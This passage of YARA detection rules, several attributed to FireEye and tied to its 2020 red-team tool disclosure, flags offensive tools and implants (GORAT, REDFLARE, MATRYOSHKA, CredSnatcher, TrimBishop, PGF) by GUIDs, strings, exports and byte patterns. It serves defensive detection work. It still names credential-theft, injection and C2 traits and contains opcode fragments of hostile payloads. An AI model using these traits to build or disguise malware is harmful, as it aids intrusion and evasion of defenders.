		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the WildChild project."
		md5 = "7e6bc0ed11c2532b2ae7060327457812"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "350dd658-46c9-573b-b532-07e4b437ba8d"

	strings:
		$typelibguid1 = "2e71d5ff-ece4-4006-9e98-37bb724a7780" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $typelibguid1
}

rule MSIL_Launcher_DUEDLLIGENCE_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'DUEDLLIGENCE' project."
		md5 = "a91bf61cc18705be2288a0f6f125068f"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "86f0ebe5-110b-53e2-bba5-676f00c2cddd"

	strings:
		$typelibguid0 = "73948912-cebd-48ed-85e2-85fcd1d4f560" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule APT_Backdoor_Win_GORAT_2
{
	meta:
		description = "Verifies that the sample is a Windows PE that is less than 10MB in size and has the Go build ID strings. Then checks for various strings known to be in the Gorat implant including strings used in C2 json, names of methods, and the unique string 'murica' used in C2 comms. A check is done to ensure the string 'rat' appears in the binary over 1000 times as it is the name of the project used by the implant and is present well over 2000 times."
		md5 = "f59095f0ab15f26a1ead7eed8cdb4902"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "e2c47711-d088-5cb4-8d21-f8199a865a28"

	strings:
		$go1 = "go.buildid" ascii wide
		$go2 = "Go build ID:" ascii wide
		$json1 = "json:\"pid\"" ascii wide
		$json2 = "json:\"key\"" ascii wide
		$json3 = "json:\"agent_time\"" ascii wide
		$json4 = "json:\"rid\"" ascii wide
		$json5 = "json:\"ports\"" ascii wide
		$json6 = "json:\"agent_platform\"" ascii wide
		$rat = "rat" ascii wide
		$str1 = "handleCommand" ascii wide
		$str2 = "sendBeacon" ascii wide
		$str3 = "rat.AgentVersion" ascii wide
		$str4 = "rat.Core" ascii wide
		$str5 = "rat/log" ascii wide
		$str6 = "rat/comms" ascii wide
		$str7 = "rat/modules" ascii wide
		$str8 = "murica" ascii wide
		$str9 = "master secret" ascii wide
		$str10 = "TaskID" ascii wide
		$str11 = "rat.New" ascii wide

	condition:
		uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and filesize < 10MB and all of ( $go* ) and all of ( $json* ) and all of ( $str* ) and #rat > 1000
}

rule APT_Loader_Win64_REDFLARE_2
{
	meta:
		date = "2020-11-27"
		modified = "2020-11-27"
		md5 = "100d73b35f23b2fe84bf7cd37140bf4d"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "043f4e29-710d-5e17-a0ed-82cd3a565194"

	strings:
		$alloc = { 45 8B C0 33 D2 [2-6] 00 10 00 00 [2-6] 04 00 00 00 [1-6] FF 15 [4-60] FF 15 [4] 85 C0 [4-40] 20 00 00 00 [4-40] FF 15 [4] 85 C0 }
		$inject = { 83 F8 01 [2-20] 33 C0 45 33 C9 [3-10] 45 33 C0 [3-10] 33 D2 [30-100] FF 15 [4] 85 C0 [20-100] 01 00 10 00 [0-10] FF 15 [4] 85 C0 [4-30] FF 15 [4] 85 C0 [2-20] FF 15 [4] 83 F8 FF }
		$s1 = "ResumeThread" fullword

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them
}

rule HackTool_MSIL_SharPersist_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the SharPersist project."
		md5 = "98ecf58d48a3eae43899b45cec0fc6b7"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "586e6c91-6970-57d1-8d8c-05ae9eb6117a"

	strings:
		$typelibguid1 = "9D1B853E-58F1-4BA5-AEFC-5C221CA30E48" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $typelibguid1
}

import "pe"

rule APT_Backdoor_Win_GORAT_4
{
	meta:
		description = "Verifies that the sample is a Windows PE that is less than 10MB in size and exports numerous functions that are known to be exported by the Gorat implant. This is done in an effort to provide detection for packed samples that may not have other strings but will need to replicate exports to maintain functionality."
		md5 = "f59095f0ab15f26a1ead7eed8cdb4902"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "ae67445c-e7fd-5858-be8b-7ee84a16a031"

	condition:
		uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and filesize < 10MB and pe.exports ( "MemoryCallEntryPoint" ) and pe.exports ( "MemoryDefaultAlloc" ) and pe.exports ( "MemoryDefaultFree" ) and pe.exports ( "MemoryDefaultFreeLibrary" ) and pe.exports ( "MemoryDefaultGetProcAddress" ) and pe.exports ( "MemoryDefaultLoadLibrary" ) and pe.exports ( "MemoryFindResource" ) and pe.exports ( "MemoryFindResourceEx" ) and pe.exports ( "MemoryFreeLibrary" ) and pe.exports ( "MemoryGetProcAddress" ) and pe.exports ( "MemoryLoadLibrary" ) and pe.exports ( "MemoryLoadLibraryEx" ) and pe.exports ( "MemoryLoadResource" ) and pe.exports ( "MemoryLoadString" ) and pe.exports ( "MemoryLoadStringEx" ) and pe.exports ( "MemorySizeofResource" ) and pe.exports ( "callback" ) and pe.exports ( "crosscall2" ) and pe.exports ( "crosscall_386" )
}

rule APT_HackTool_MSIL_SHARPNFS_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpnfs' project."
		md5 = "dd8805d0e470e59b829d98397507d8c2"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "b9d1b4e8-644a-5611-85e8-a124f915b443"

	strings:
		$typelibguid0 = "9f67ebe3-fc9b-40f2-8a18-5940cfed44cf" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule CredTheft_MSIL_CredSnatcher_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'CredSnatcher' project."
		md5 = "dd8805d0e470e59b829d98397507d8c2"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "0d8f7495-4748-577d-8ef2-ccc4829fc165"

	strings:
		$typelibguid0 = "370b4d21-09d0-433f-b7e4-4ebdd79948ec" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HackTool_MSIL_SEATBELT_2
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public SeatBelt project."
		md5 = "9f401176a9dd18fa2b5b90b4a2aa1356"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "225b42fe-c73a-59c0-a1f4-1d6dff6e76e1"

	strings:
		$typelibguid1 = "AEC32155-D589-4150-8FE7-2900DF4554C8" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $typelibguid1
}

rule APT_Loader_Win32_DShell_1
{
	meta:
		date = "2020-11-27"
		modified = "2020-11-27"
		md5 = "12c3566761495b8353f67298f15b882c"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "dad763bd-0e4a-542a-9920-ece11d23ce24"

	strings:
		$sb1 = { 6A 40 68 00 30 00 00 [4-32] E8 [4-8] 50 [0-16] E8 [4-150] 6A FF [1-32] 6A 00 6A 00 5? 6A 00 6A 00 [0-32] E8 [4] 50 }
		$sb2 = { FF 7? 0C B? [4-16] FF 7? 08 5? [0-12] E8 [4] 84 C0 74 05 B? 01 00 00 00 [0-16] 80 F2 01 0F 84 }
		$ss1 = "\x00CreateThread\x00"
		$ss2 = "base64.d" fullword
		$ss3 = "core.sys.windows" fullword

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x010B ) and all of them
}

rule APT_Loader_Win32_PGF_1
{
	meta:
		date = "2020-11-25"
		modified = "2020-11-25"
		description = "base dlls: /lib/payload/techniques/unmanaged_exports/"
		md5 = "383161e4deaf7eb2ebeda2c5e9c3204c"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "1af4f2ce-c540-5836-a749-43a0b08609b1"

	strings:
		$sb1 = { 6A ?? FF 15 [4-32] 8A ?? 04 [0-32] 8B ?? 89 ?? 8B [2] 89 [2] 8B [2] 89 ?? 08 8B [2] 89 [2] 8B [2] 89 [2-64] 8B [5] 83 ?? 01 89 [5] 83 [5-32] 0F B6 [1-2] 0F B6 [1-2] 33 [1-16] 88 ?? EB }
		$sb2 = { 6A 40 [0-32] 68 00 30 00 00 [0-32] 6A 00 [0-16] FF 15 [4-32] 89 45 [4-64] E8 [4-32] 83 ?? 01 [4-80] 0F B6 [1-64] 33 [1-32] 88 [2-64] FF ( D? | 55 ) }
		$sb3 = { 8B ?? 08 03 ?? 3C [2-32] 0F B? ?? 14 [0-32] 8D [2] 18 [2-64] 0F B? ?? 06 [3-64] 6B ?? 28 }

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x010B ) and all of them
}

rule APT_HackTool_MSIL_SHARPDACL_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpdacl' project."
		md5 = "dd8805d0e470e59b829d98397507d8c2"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "13f4e3ea-1e36-5fad-9197-66511d6f026a"

	strings:
		$typelibguid0 = "b3c17fb5-5d5a-4b14-af3c-87a9aa941457" ascii nocase wide

	condition:
		filesize < 10MB and ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule APT_HackTool_MSIL_SHARPZIPLIBZIPPER_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpziplibzipper' project."
		md5 = "dd8805d0e470e59b829d98397507d8c2"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "392a52be-29ae-58e1-b517-1ab34a1e1fb8"

	strings:
		$typelibguid0 = "485ba350-59c4-4932-a4c1-c96ffec511ef" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule APT_Downloader_Win64_REDFLARE_1
{
	meta:
		date = "2020-11-27"
		modified = "2020-11-27"
		md5 = "9529c4c9773392893a8a0ab8ce8f8ce1"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "15a5e22b-84b0-5b36-8772-1d496ac447b2"

	strings:
		$const = "Cookie: SID1=%s" fullword
		$http_req = { 00 00 08 80 81 3D [4] BB 01 00 00 75 [1-10] 00 00 80 00 [1-4] 00 10 00 00 [1-4] 00 20 00 00 89 [6-20] 00 00 00 00 [6-20] 00 00 00 00 [2-10] 00 00 00 00 45 33 C9 [4-20] 48 8D 15 [4] 48 8B 0D [4] FF 15 [4-50] B9 14 00 00 00 E8 }

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them
}

rule APT_Loader_Win64_MATRYOSHKA_1
{
	meta:
		date = "2020-12-02"
		modified = "2020-12-02"
		description = "matryoshka_process_hollow.rs"
		md5 = "44887551a47ae272d7873a354d24042d"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "69919a80-8ed1-5b8c-911a-ceb75570f11f"

	strings:
		$sb1 = { 48 8B 45 ?? 48 89 85 [0-64] C7 45 ?? 00 00 00 00 31 ?? E8 [4-64] BA 00 10 00 00 [0-32] 41 B8 04 00 00 00 E8 [4] 83 F8 01 [2-32] BA [4] E8 }
		$sb2 = { E8 [4] 83 F8 01 [2-64] 41 B9 00 10 00 00 [0-32] E8 [4] 83 F8 01 [2-32] 3D 4D 5A 00 00 [0-32] 48 63 ?? 3C [0-32] 50 45 00 00 [4-64] 0F B7 [2] 18 81 ?? 0B 01 00 00 [2-32] 81 ?? 0B 02 00 00 [2-32] 8B [2] 28 }
		$sb3 = { 66 C7 45 ?? 48 B8 48 C7 45 ?? 00 00 00 00 66 C7 45 ?? FF E0 [0-64] 41 B9 40 00 00 00 [0-32] E8 [4] 83 F8 01 }

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them
}

rule HackTool_MSIL_WMIspy_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'WMIspy' project."
		md5 = "dd8805d0e470e59b829d98397507d8c2"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "ac394751-da40-564b-8e24-8f353326b46a"

	strings:
		$typelibguid0 = "5ee2bca3-01ad-489b-ab1b-bda7962e06bb" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule APT_Trojan_Win_REDFLARE_3
{
	meta:
		date = "2020-12-01"
		modified = "2020-12-01"
		md5 = "9ccda4d7511009d5572ef2f8597fba4e,ece07daca53dd0a7c23dacabf50f56f1"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "2f6785c4-f4d0-52ff-8c46-da953e2ca92a"

	strings:
		$calc_image_size = { 28 00 00 00 [2-30] 83 E2 1F [4-20] C1 F8 05 [0-8] 0F AF C? [0-30] C1 E0 02 }
		$str1 = "CreateCompatibleBitmap" fullword
		$str2 = "BitBlt" fullword
		$str3 = "runCommand" fullword

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule APT_Loader_Win_PGF_1
{
	meta:
		description = "PDB string used in some PGF DLL samples"
		md5 = "013c7708f1343d684e3571453261b586"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "fcbefa45-8dcd-57a3-a2ac-f4613152716f"

	strings:
		$pdb1 = /RSDS[\x00-\xFF]{20}c:\\source\\dllconfig-master\\dllsource[\x00-\xFF]{0,500}\.pdb\x00/ nocase
		$pdb2 = /RSDS[\x00-\xFF]{20}C:\\Users\\Developer\\Source[\x00-\xFF]{0,500}\\Release\\DllSource\.pdb\x00/ nocase
		$pdb3 = /RSDS[\x00-\xFF]{20}q:\\objchk_win7_amd64\\amd64\\init\.pdb\x00/ nocase

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and filesize < 15MB and any of them
}

rule APT_HackTool_MSIL_SHARPDNS_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpdns' project."
		md5 = "dd8805d0e470e59b829d98397507d8c2"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "db6b45be-f42f-5d0f-b50a-32e7a2cbfce6"

	strings:
		$typelibguid0 = "d888cec8-7562-40e9-9c76-2bb9e43bb634" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule Loader_MSIL_TrimBishop_1
{
	meta:
		description = "This rule looks for .NET PE files that have the string 'msg' more than 60 times as well as numerous function names unique to or used by the TrimBishop tool. All strings found in RuralBishop are reversed in TrimBishop and stored in a variable with the format 'msg##'. With the exception of 'msg', 'DTrim', and 'ReverseString' the other strings referenced in this rule may be shared with RuralBishop."
		md5 = "09bdbad8358b04994e2c04bb26a160ef"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "4d58f0a2-bf16-584c-8e92-c8ef54427767"

	strings:
		$msg = "msg" ascii wide
		$msil = "_CorExeMain" ascii wide
		$str1 = "RuralBishop" ascii wide
		$str2 = "KnightKingside" ascii wide
		$str3 = "ReadShellcode" ascii wide
		$str4 = "ReverseString" ascii wide
		$str5 = "DTrim" ascii wide
		$str6 = "QueensGambit" ascii wide
		$str7 = "Messages" ascii wide
		$str8 = "NtQueueApcThread" ascii wide
		$str9 = "NtAlertResumeThread" ascii wide
		$str10 = "NtQueryInformationThread" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $msil and #msg > 60 and all of ( $str* )
}

rule Loader_Win_Generic_17
{
	meta:
		date = "2020-11-25"
		modified = "2020-11-25"
		md5 = "562ecbba043552d59a0f23f61cea0983"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "4e5bf741-c1e3-54af-9580-02925ba6fc6a"

	strings:
		$s0 = { 89 [1-16] FF 15 [4-16] 89 [1-24] E8 [4-16] 89 C6 [4-24] 8D [1-8] 89 [1-4] 89 [1-4] E8 [4-16] 89 [1-8] E8 [4-24] 01 00 00 00 [1-8] 89 [1-8] E8 [4-64] 8A [1-8] 88 }
		$s1 = { 83 EC [1-16] 04 00 00 00 [1-24] 00 30 00 00 [1-24] FF 15 [4-16] EB [16-64] 20 00 00 00 [0-8] FF 15 [4-32] C7 44 24 ?? 00 00 00 00 [0-8] C7 44 24 ?? 00 00 00 00 [0-16] FF 15 }
		$si1 = "fread" fullword
		$si2 = "fwrite" fullword

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule APT_Loader_Win64_PGF_3
{
	meta:
		description = "PGF payload, generated rule based on symfunc/8a2f2236fdfaa3583ab89076025c6269. Identifies dllmain_hook x64 payloads."
		md5 = "3bb34ebd93b8ab5799f4843e8cc829fa"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "340ea6d4-7111-520c-9bd4-0465a43ea235"

	strings:
		$cond1 = { 55 53 48 89 E5 48 81 EC 28 07 00 00 48 8B 05 80 8B 06 00 FF D0 48 89 C1 48 8D 85 98 FD FF FF 41 B8 04 01 00 00 48 89 C2 E8 5A B4 00 00 85 C0 0F 94 C0 84 C0 0F 85 16 03 00 00 48 8D 45 AF 48 89 C1 E8 E9 FE 00 00 48 8D 4D AF 48 8D 95 98 FD FF FF 48 8D 85 78 FD FF FF 49 89 C8 48 89 C1 E8 AC 96 01 00 48 8D 45 AF 48 89 C1 E8 F0 FE 00 00 48 8B 05 25 8B 06 00 FF D0 89 C2 B9 08 00 00 00 E8 6B B4 00 00 48 89 45 D0 48 83 7D D0 00 75 0A BB 00 00 00 00 E9 6C 02 00 00 48 C7 45 F0 00 00 00 00 C7 45 EC 00 00 00 00 C7 85 38 F9 FF FF 38 04 00 00 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 AA B3 00 00 89 45 E8 83 7D E8 00 74 57 48 8D 85 38 F9 FF FF 48 8D 50 30 48 8D 85 78 FD FF FF 41 B8 00 00 00 00 48 89 C1 E8 61 F3 00 00 48 83 F8 FF 0F 95 C0 84 C0 74 14 48 8B 85 50 F9 FF FF 48 89 45 F0 8B 85 58 F9 FF FF 89 45 EC 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 4F B3 00 00 89 45 E8 EB A3 48 8B 45 D0 48 89 C1 48 8B 05 20 8A 06 00 FF D0 48 83 7D F0 00 74 06 83 7D EC 00 75 0A BB 00 00 00 00 E9 B9 01 00 00 48 8D 0D 0E C8 05 00 48 8B 05 69 8A 06 00 FF D0 48 8D 15 0A C8 05 00 48 89 C1 48 8B 05 5E 8A 06 00 FF D0 48 89 45 C8 48 89 E8 48 89 45 E0 48 8D 95 28 F9 FF FF 48 8D 85 30 F9 FF FF 48 89 C1 48 8B 05 19 8A 06 00 FF D0 C7 45 DC 00 00 00 00 48 8B 55 E0 48 8B 85 28 F9 FF FF 48 39 C2 0F 83 0D 01 00 00 48 8B 45 E0 48 8B 00 48 3D FF 0F 00 00 0F 86 EC 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 C8 73 1E 48 8B 45 E0 48 8B 00 48 8B 55 C8 48 81 C2 00 10 00 00 48 39 D0 73 07 C7 45 DC 01 00 00 00 83 7D DC 00 0F 84 BB 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 F0 0F 83 AA 00 00 00 48 8B 45 E0 48 8B 00 8B 4D EC 48 8B 55 F0 48 01 CA 48 39 D0 0F 83 90 00 00 00 48 C7 85 F8 F8 FF FF 00 00 00 00 48 C7 85 00 F9 FF FF 00 00 00 00 48 C7 85 08 F9 FF FF 00 00 00 00 48 C7 85 10 F9 FF FF 00 00 00 00 48 C7 85 18 F9 FF FF 00 00 00 00 48 C7 85 20 F9 FF FF 00 00 00 00 48 8B 45 E0 48 8B 00 48 8D 95 F8 F8 FF FF 41 B8 30 00 00 00 48 89 C1 48 8B 05 01 8A 06 00 FF D0 8B 85 1C F9 FF FF 83 E0 20 85 C0 74 20 48 8B 45 E0 48 8B 00 48 8D 15 E0 F9 FF FF 48 89 C1 E8 D5 FC FF FF BB 00 00 00 00 EB 57 90 EB 01 90 48 83 45 E0 08 E9 DF FE FF FF 48 8B 45 F0 48 89 45 C0 48 8B 45 C0 8B 40 3C 48 63 D0 48 8B 45 F0 48 01 D0 48 89 45 B8 48 8B 45 B8 8B 40 28 89 C2 48 8B 45 F0 48 01 D0 48 89 45 B0 48 8B 45 B0 48 8D 15 87 F9 FF FF 48 89 C1 E8 7C FC FF FF BB 01 00 00 00 48 8D 85 78 FD FF FF 48 89 C1 E8 CB 9C 01 00 83 FB 01 EB 38 48 89 C3 48 8D 45 AF 48 89 C1 E8 37 FC 00 00 48 89 D8 48 89 C1 E8 4C AA 00 00 48 89 C3 48 8D 85 78 FD FF FF 48 89 C1 E8 9A 9C 01 00 48 89 D8 48 89 C1 E8 2F AA 00 00 90 48 81 C4 28 07 00 00 5B 5D C3 }
		$cond2 = { 55 53 48 89 E5 48 81 EC 28 07 00 00 48 8B 05 ?? ?? ?? ?? FF D0 48 89 C1 48 8D 85 ?? ?? ?? ?? 41 B8 04 01 00 00 48 89 C2 E8 ?? ?? ?? ?? 85 C0 0F 94 C0 84 C0 0F 85 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 4D ?? 48 8D 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 49 89 C8 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? FF D0 89 C2 B9 08 00 00 00 E8 ?? ?? ?? ?? 48 89 45 ?? 48 83 7D ?? 00 75 ?? BB 00 00 00 00 E9 ?? ?? ?? ?? 48 C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 85 ?? ?? ?? ?? 38 04 00 00 48 8D 95 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? 00 74 ?? 48 8D 85 ?? ?? ?? ?? 48 8D 50 ?? 48 8D 85 ?? ?? ?? ?? 41 B8 00 00 00 00 48 89 C1 E8 ?? ?? ?? ?? 48 83 F8 FF 0F 95 C0 84 C0 74 ?? 48 8B 85 ?? ?? ?? ?? 48 89 45 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 48 8D 95 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 89 45 ?? EB ?? 48 8B 45 ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 48 83 7D ?? 00 74 ?? 83 7D ?? 00 75 ?? BB 00 00 00 00 E9 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? FF D0 48 8D 15 ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 48 89 45 ?? 48 89 E8 48 89 45 ?? 48 8D 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 C7 45 ?? 00 00 00 00 48 8B 55 ?? 48 8B 85 ?? ?? ?? ?? 48 39 C2 0F 83 ?? ?? ?? ?? 48 8B 45 ?? 48 8B 00 48 3D FF 0F 00 00 0F 86 ?? ?? ?? ?? 48 8B 45 ?? 48 8B 00 48 39 45 ?? 73 ?? 48 8B 45 ?? 48 8B 00 48 8B 55 ?? 48 81 C2 00 10 00 00 48 39 D0 73 ?? C7 45 ?? 01 00 00 00 83 7D ?? 00 0F 84 ?? ?? ?? ?? 48 8B 45 ?? 48 8B 00 48 39 45 ?? 0F 83 ?? ?? ?? ?? 48 8B 45 ?? 48 8B 00 8B 4D ?? 48 8B 55 ?? 48 01 CA 48 39 D0 0F 83 ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 C7 85 ?? ?? ?? ?? 00 00 00 00 48 8B 45 ?? 48 8B 00 48 8D 95 ?? ?? ?? ?? 41 B8 30 00 00 00 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 8B 85 ?? ?? ?? ?? 83 E0 20 85 C0 74 ?? 48 8B 45 ?? 48 8B 00 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? BB 00 00 00 00 EB ?? 90 EB ?? 90 48 83 45 ?? 08 E9 ?? ?? ?? ?? 48 8B 45 ?? 48 89 45 ?? 48 8B 45 ?? 8B 40 ?? 48 63 D0 48 8B 45 ?? 48 01 D0 48 89 45 ?? 48 8B 45 ?? 8B 40 ?? 89 C2 48 8B 45 ?? 48 01 D0 48 89 45 ?? 48 8B 45 ?? 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? BB 01 00 00 00 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 83 FB 01 EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 D8 48 89 C1 E8 ?? ?? ?? ?? 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 D8 48 89 C1 E8 ?? ?? ?? ?? 90 48 81 C4 28 07 00 00 5B 5D C3 }
